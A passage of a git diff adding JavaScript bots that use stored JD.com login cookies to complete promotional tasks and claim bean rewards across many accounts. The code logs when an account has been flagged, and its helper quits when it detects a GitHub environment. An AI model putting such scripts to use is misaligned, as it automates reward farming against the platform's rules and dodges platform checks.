console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (info) { + $.earn = $.userInfo.tatalprofits - $.total + } else { + for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + let res = await doTask(task['_id']) + if (!res) { // 黑号,不再继续执行任务 + break; + } + await $.wait(3000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + $.total = $.userInfo.tatalprofits + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = data.match(/query\((.*)\n/)[1]; + data = JSON.parse(res); + if (data.ret === 0) { + console.log(`任务完成成功`) + } else if (data.ret === 1001) { + console.log(`任务完成失败,原因:这个账号黑号了!!!`) + resolve(false); + return; + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers2.js b/activity/jd_firecrackers2.js new file mode 100644 index 0000000..2220d1e --- /dev/null +++ b/activity/jd_firecrackers2.js @@ -0,0 +1,321 @@ +/* +她的节,享京豆 +活动入口: +活动地址:https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#她的节享京豆 +10 8,21 * * * jd_firecrackers.js, tag=她的节享京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=她的节享京豆 + +===============Surge================= +她的节享京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js + +============小火箭========= +她的节享京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('她的节享京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyBean = 15 +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + $.earn = 0 + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + subTitle = `【京东账号${$.index}】${$.nickName}`; + message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` + if ($.total && notifyBean) { + for (let item of $.prize) { + if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 + if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 + await draw() + } + } + } + } + $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://linggame.jd.com/babelDiy/Zeus/3Y7JfoyA2Nwoa4FRqgDY4WpVjfgP/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (info) { + $.earn = $.userInfo.tatalprofits - $.total + } else { + for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + let res = await doTask(task['_id']) + if (!res) { // 黑号,不再继续执行任务 + break; + } + await $.wait(3000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + $.total = $.userInfo.tatalprofits + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = data.match(/query\((.*)\n/)[1]; + data = JSON.parse(res); + if (data.ret === 0) { + console.log(`任务完成成功`) + } else if (data.ret === 1001) { + console.log(`任务完成失败,原因:这个账号黑号了!!!`) + resolve(false); + return; + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + let body = `level=1&type=2` + return new Promise(resolve => { + $.get(taskUrl('family_draw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.ret === 0) { + message += '领奖成功\n' + console.log(`领奖成功`) + } else { + console.log(`领奖失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let 